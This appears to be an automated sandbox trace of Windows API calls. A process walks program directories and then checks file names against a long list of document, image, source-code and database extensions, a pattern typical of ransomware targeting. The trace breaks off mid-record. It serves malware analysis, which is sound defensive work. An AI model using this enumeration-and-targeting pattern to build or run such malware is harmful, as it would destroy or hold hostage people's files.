[0265.465] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0265.552] RtlpDeCommitFreeBlock () [0265.552] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0265.552] RtlpDeCommitFreeBlock () [0265.552] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0265.552] FindClose (in: hFindFile=0x63f048 | out: hFindFile=0x63f048) returned 1 [0265.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45dc188 | out: hHeap=0x540000) returned 1 [0265.552] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x28135767, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0265.555] RtlpDeCommitFreeBlock () [0265.555] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x284ed995, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0265.555] RtlpDeCommitFreeBlock () [0265.556] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="CLOCK~1.GAD")) returned 1 [0265.558] RtlpDeCommitFreeBlock () [0265.558] FindNextFileW (in: hFindFile=0x45a8168, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0265.558] RtlpDeCommitFreeBlock () [0265.558] FindNextFileW (in: hFindFile=0x45a8168, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0265.558] RtlpDeCommitFreeBlock () [0265.558] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285ac06b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0265.563] RtlpDeCommitFreeBlock () [0265.564] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843c2419, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x843c2419, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e73115, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0265.564] RtlpDeCommitFreeBlock () [0265.564] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="CPU~1.GAD")) returned 1 [0265.887] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.887] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0265.936] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.936] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ff6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0266.376] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services") returned 69 [0266.376] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4604238 [0266.376] FindNextFileW (in: hFindFile=0x4604238, lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.376] FindNextFileW (in: hFindFile=0x4604238, lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fab, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0266.418] FindNextFileW (in: hFindFile=0x4604238, lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.418] FindNextFileW (in: hFindFile=0x4604238, lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0266.421] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.421] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.547] lstrlenW (lpString=".bak") returned 4 [0266.547] lstrcmpiW (lpString1=".bak", lpString2="SJ-H") returned -1 [0266.547] lstrlenW (lpString=".bay") returned 4 [0266.547] lstrcmpiW (lpString1=".bay", lpString2="SJ-H") returned -1 [0266.548] lstrlenW (lpString=".bd") returned 3 [0266.548] lstrcmpiW (lpString1=".bd", lpString2="J-H") returned -1 [0266.548] lstrlenW (lpString=".bin") returned 4 [0266.548] lstrcmpiW (lpString1=".bin", lpString2="SJ-H") returned -1 [0266.548] lstrlenW (lpString=".bmp") returned 4 [0266.548] lstrcmpiW (lpString1=".bmp", lpString2="SJ-H") returned -1 [0266.548] lstrlenW (lpString=".bz2") returned 4 [0266.548] lstrcmpiW (lpString1=".bz2", lpString2="SJ-H") returned -1 [0266.548] lstrlenW (lpString=".c") returned 2 [0266.548] lstrcmpiW (lpString1=".c", lpString2="-H") returned -1 [0266.548] lstrlenW (lpString=".cdr") returned 4 [0266.548] lstrcmpiW (lpString1=".cdr", lpString2="SJ-H") returned -1 [0266.548] lstrlenW (lpString=".cer") returned 4 [0266.548] lstrcmpiW (lpString1=".cer", lpString2="SJ-H") returned -1 [0266.548] lstrlenW (lpString=".cf") returned 3 [0266.548] lstrcmpiW (lpString1=".cf", lpString2="J-H") returned -1 [0266.548] lstrlenW (lpString=".cfc") returned 4 [0266.548] lstrcmpiW (lpString1=".cfc", lpString2="SJ-H") returned -1 [0266.548] lstrlenW (lpString=".cfm") returned 4 [0266.548] lstrcmpiW (lpString1=".cfm", lpString2="SJ-H") returned -1 [0266.548] lstrlenW (lpString=".cfml") returned 5 [0266.548] lstrcmpiW (lpString1=".cfml", lpString2="KSJ-H") returned -1 [0266.548] lstrlenW (lpString=".cfu") returned 4 [0266.548] lstrcmpiW (lpString1=".cfu", lpString2="SJ-H") returned -1 [0266.548] lstrlenW (lpString=".chm") returned 4 [0266.548] lstrcmpiW (lpString1=".chm", lpString2="SJ-H") returned -1 [0266.548] lstrlenW (lpString=".cin") returned 4 [0266.548] lstrcmpiW (lpString1=".cin", lpString2="SJ-H") returned -1 [0266.548] lstrlenW (lpString=".class") returned 6 [0266.548] lstrcmpiW (lpString1=".class", lpString2="RKSJ-H") returned -1 [0266.548] lstrlenW (lpString=".clx") returned 4 [0266.548] lstrcmpiW (lpString1=".clx", lpString2="SJ-H") returned -1 [0266.548] lstrlenW (lpString=".config") returned 7 [0266.548] lstrcmpiW (lpString1=".config", lpString2="-RKSJ-H") returned -1 [0266.548] lstrlenW (lpString=".cpp") returned 4 [0266.548] lstrcmpiW (lpString1=".cpp", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".cr2") returned 4 [0266.549] lstrcmpiW (lpString1=".cr2", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".crt") returned 4 [0266.549] lstrcmpiW (lpString1=".crt", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".crw") returned 4 [0266.549] lstrcmpiW (lpString1=".crw", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".cs") returned 3 [0266.549] lstrcmpiW (lpString1=".cs", lpString2="J-H") returned -1 [0266.549] lstrlenW (lpString=".css") returned 4 [0266.549] lstrcmpiW (lpString1=".css", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".csv") returned 4 [0266.549] lstrcmpiW (lpString1=".csv", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".cub") returned 4 [0266.549] lstrcmpiW (lpString1=".cub", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".dae") returned 4 [0266.549] lstrcmpiW (lpString1=".dae", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".dat") returned 4 [0266.549] lstrcmpiW (lpString1=".dat", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".db") returned 3 [0266.549] lstrcmpiW (lpString1=".db", lpString2="J-H") returned -1 [0266.549] lstrlenW (lpString=".dbf") returned 4 [0266.549] lstrcmpiW (lpString1=".dbf", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".dbx") returned 4 [0266.549] lstrcmpiW (lpString1=".dbx", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".dc3") returned 4 [0266.549] lstrcmpiW (lpString1=".dc3", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".dcm") returned 4 [0266.549] lstrcmpiW (lpString1=".dcm", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".dcr") returned 4 [0266.549] lstrcmpiW (lpString1=".dcr", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".der") returned 4 [0266.549] lstrcmpiW (lpString1=".der", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".dib") returned 4 [0266.549] lstrcmpiW (lpString1=".dib", lpString2="SJ-H") returned -1 [0266.549] lstrlenW (lpString=".dic") returned 4 [0266.549] lstrcmpiW (lpString1=".dic", lpString2="SJ-H") returned -1 [0266.550] lstrlenW (lpString=".dif") returned 4 [0266.550] lstrcmpiW (lpString1=".dif", lpString2="SJ-H") returned -1 [0266.550] lstrlenW (lpString=".divx") returned 5 [0266.550] lstrcmpiW (lpString1=".divx", lpString2="KSJ-H") returned -1 [0266.550] lstrlenW (lpString=".djvu") returned 5 [0266.550] lstrcmpiW (lpString1=".djvu", lpString2="KSJ-H") returned -1 [0266.550] lstrlenW (lpString=".dng") returned 4 [0266.550] lstrcmpiW (lpString1=".dng", lpString2="SJ-H") returned -1 [0266.550] lstrlenW (lpString=".doc") returned 4 [0266.550] lstrcmpiW (lpString1=".doc", lpString2="SJ-H") returned -1 [0266.550] lstrlenW (lpString=".docm") returned 5 [0266.550] lstrcmpiW (lpString1=".docm", lpString2="KSJ-H") returned -1 [0266.550] lstrlenW (lpString=".docx") returned 5 [0266.550] lstrcmpiW (lpString1=".docx", lpString2="KSJ-H") returned -1 [0266.550] lstrlenW (lpString=".dot") returned 4 [0266.550] lstrcmpiW (lpString1=".dot", lpString2="SJ-H") returned -1 [0266.550] lstrlenW (lpString=".dotm") returned 5 [0266.550] lstrcmpiW (lpString1=".dotm", lpString2="KSJ-H") returned -1 [0266.550] lstrlenW (lpString=".dotx") returned 5 [0266.550] lstrcmpiW (lpString1=".dotx", lpString2="KSJ-H") returned -1 [0266.550] lstrlenW (lpString=".dpx") returned 4 [0266.550] lstrcmpiW (lpString1=".dpx", lpString2="SJ-H") returned -1 [0266.550] lstrlenW (lpString=".dqy") returned 4 [0266.550] lstrcmpiW (lpString1=".dqy", lpString2="SJ-H") returned -1 [0266.550] lstrlenW (lpString=".dsn") returned 4 [0266.550] lstrcmpiW (lpString1=".dsn", lpString2="SJ-H") returned -1 [0266.550] lstrlenW (lpString=".dt") returned 3 [0266.550] lstrcmpiW (lpString1=".dt", lpString2="J-H") returned -1 [0266.550] lstrlenW (lpString=".dtd") returned 4 [0266.550] lstrcmpiW (lpString1=".dtd", lpString2="SJ-H") returned -1 [0266.550] lstrlenW (lpString=".dwg") returned 4 [0266.550] lstrcmpiW (lpString1=".dwg", lpString2="SJ-H") returned -1 [0266.550] lstrlenW (lpString=".dwt") returned 4 [0266.551] lstrcmpiW (lpString1=".dwt", lpString2="SJ-H") returned -1 [0266.551] lstrlenW (lpString=".dx") returned 3 [0266.551] lstrcmpiW (lpString1=".dx", lpString2="J-H") returned -1 [0266.551] lstrlenW (lpString=".dxf") returned 4 [0266.551] lstrcmpiW (lpString1=".dxf", lpString2="SJ-H") returned -1 [0266.551] lstrlenW (lpString=".edml") returned 5 [0266.551] lstrcmpiW (lpString1=".edml", lpString2="KSJ-H") returned -1 [0266.551] lstrlenW (lpString=".efd") returned 4 [0266.551] lstrcmpiW (lpString1=".efd", lpString2="SJ-H") returned -1 [0266.551] lstrlenW (lpString=".elf") returned 4 [0266.551] lstrcmpiW (lpString1=".elf", lpString2="SJ-H") returned -1 [0266.551] lstrlenW (lpString=".emf") returned 4 [0266.551] lstrcmpiW (lpString1=".emf", lpString2="SJ-H") returned -1 [0266.551] lstrlenW (lpString=".emz") returned 4 [0266.551] lstrcmpiW (lpString1=".emz", lpString2="SJ-H") returned -1 [0266.551] lstrlenW (lpString=".epf") returned 4 [0266.551] lstrcmpiW (lpString1=".epf", lpString2="SJ-H") returned -1 [0266.551] lstrlenW (lpString=".eps") returned 4 [0266.551] lstrcmpiW (lpString1=".eps", lpString2="SJ-H") returned -1 [0266.551] lstrlenW (lpString=".epsf") returned 5 [0266.551] lstrcmpiW (lpString1=".epsf", lpString2="KSJ-H") returned -1 [0266.551] lstrlenW (lpString=".epsp") returned 5 [0266.551] lstrcmpiW (lpString1=".epsp", lpString2="KSJ-H") returned -1 [0266.551] lstrlenW (lpString=".erf") returned 4 [0266.551] lstrcmpiW (lpString1=".erf", lpString2="SJ-H") returned -1 [0266.551] lstrlenW (lpString=".exr") returned 4 [0266.551] lstrcmpiW (lpString1=".exr", lpString2="SJ-H") returned -1 [0266.551] lstrlenW (lpString=".f4v") returned 4 [0266.551] lstrcmpiW (lpString1=".f4v", lpString2="SJ-H") returned -1 [0266.551] lstrlenW (lpString=".fido") returned 5 [0266.551] lstrcmpiW (lpString1=".fido", lpString2="KSJ-H") returned -1 [0266.551] lstrlenW (lpString=".flm") returned 4 [0266.551] lstrcmpiW (lpString1=".flm", lpString2="SJ-H") returned -1 [0266.551] lstrlenW (lpString=".flv") returned 4 [0266.551] lstrcmpiW (lpString1=".flv", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".frm") returned 4 [0266.552] lstrcmpiW (lpString1=".frm", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".fxg") returned 4 [0266.552] lstrcmpiW (lpString1=".fxg", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".geo") returned 4 [0266.552] lstrcmpiW (lpString1=".geo", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".gif") returned 4 [0266.552] lstrcmpiW (lpString1=".gif", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".grs") returned 4 [0266.552] lstrcmpiW (lpString1=".grs", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".gz") returned 3 [0266.552] lstrcmpiW (lpString1=".gz", lpString2="J-H") returned -1 [0266.552] lstrlenW (lpString=".h") returned 2 [0266.552] lstrcmpiW (lpString1=".h", lpString2="-H") returned -1 [0266.552] lstrlenW (lpString=".hdr") returned 4 [0266.552] lstrcmpiW (lpString1=".hdr", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".hpp") returned 4 [0266.552] lstrcmpiW (lpString1=".hpp", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".hta") returned 4 [0266.552] lstrcmpiW (lpString1=".hta", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".htc") returned 4 [0266.552] lstrcmpiW (lpString1=".htc", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".htm") returned 4 [0266.552] lstrcmpiW (lpString1=".htm", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".html") returned 5 [0266.552] lstrcmpiW (lpString1=".html", lpString2="KSJ-H") returned -1 [0266.552] lstrlenW (lpString=".icb") returned 4 [0266.552] lstrcmpiW (lpString1=".icb", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".ics") returned 4 [0266.552] lstrcmpiW (lpString1=".ics", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".iff") returned 4 [0266.552] lstrcmpiW (lpString1=".iff", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".inc") returned 4 [0266.552] lstrcmpiW (lpString1=".inc", lpString2="SJ-H") returned -1 [0266.552] lstrlenW (lpString=".indd") returned 5 [0266.553] lstrcmpiW (lpString1=".indd", lpString2="KSJ-H") returned -1 [0266.553] lstrlenW (lpString=".ini") returned 4 [0266.553] lstrcmpiW (lpString1=".ini", lpString2="SJ-H") returned -1 [0266.553] lstrlenW (lpString=".iqy") returned 4 [0266.553] lstrcmpiW (lpString1=".iqy", lpString2="SJ-H") returned -1 [0266.553] lstrlenW (lpString=".j2c") returned 4 [0266.553] lstrcmpiW (lpString1=".j2c", lpString2="SJ-H") returned -1 [0266.553] lstrlenW (lpString=".j2k") returned 4 [0266.553] lstrcmpiW (lpString1=".j2k", lpString2="SJ-H") returned -1 [0266.553] lstrlenW (lpString=".java") returned 5 [0266.553] lstrcmpiW (lpString1=".java", lpString2="KSJ-H") returned -1 [0266.553] lstrlenW (lpString=".jp2") returned 4 [0266.553] lstrcmpiW (lpString1=".jp2", lpString2="SJ-H") returned -1 [0266.553] lstrlenW (lpString=".jpc") returned 4 [0266.553] lstrcmpiW (lpString1=".jpc", lpString2="SJ-H") returned -1 [0266.553] lstrlenW (lpString=".jpe") returned 4 [0266.553] lstrcmpiW (lpString1=".jpe", lpString2="SJ-H") returned -1 [0266.553] lstrlenW (lpString=".jpeg") returned 5 [0266.553] lstrcmpiW (lpString1=".jpeg", lpString2="KSJ-H") returned -1 [0266.553] lstrlenW (lpString=".jpf") returned 4 [0266.553] lstrcmpiW (lpString1=".jpf", lpString2="SJ-H") returned -1 [0266.553] lstrlenW (lpString=".jpg") returned 4 [0266.553] lstrcmpiW (lpString1=".jpg", lpString2="SJ-H") returned -1 [0266.553] lstrlenW (lpString=".jpx") returned 4 [0266.553] lstrcmpiW (lpString1=".jpx", lpString2="SJ-H") returned -1 [0266.553] lstrlenW (lpString=".js") returned 3 [0266.553] lstrcmpiW (lpString1=".js", lpString2="J-H") returned -1 [0266.553] lstrlenW (lpString=".jsf") returned 4 [0266.553] lstrcmpiW (lpString1=".jsf", lpString2="SJ-H") returned -1 [0266.553] lstrlenW (lpString=".json") returned 5 [0266.553] lstrcmpiW (lpString1=".json", lpString2="KSJ-H") returned -1 [0266.553] lstrlenW (lpString=".jsp") returned 4 [0266.553] lstrcmpiW (lpString1=".jsp", lpString2="SJ-H") returned -1 [0266.553] lstrlenW (lpString=".kdc") returned 4 [0266.553] lstrcmpiW (lpString1=".kdc", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".kmz") returned 4 [0266.554] lstrcmpiW (lpString1=".kmz", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".kwm") returned 4 [0266.554] lstrcmpiW (lpString1=".kwm", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".lasso") returned 6 [0266.554] lstrcmpiW (lpString1=".lasso", lpString2="RKSJ-H") returned -1 [0266.554] lstrlenW (lpString=".lbi") returned 4 [0266.554] lstrcmpiW (lpString1=".lbi", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".lgf") returned 4 [0266.554] lstrcmpiW (lpString1=".lgf", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".lgp") returned 4 [0266.554] lstrcmpiW (lpString1=".lgp", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".log") returned 4 [0266.554] lstrcmpiW (lpString1=".log", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".m1v") returned 4 [0266.554] 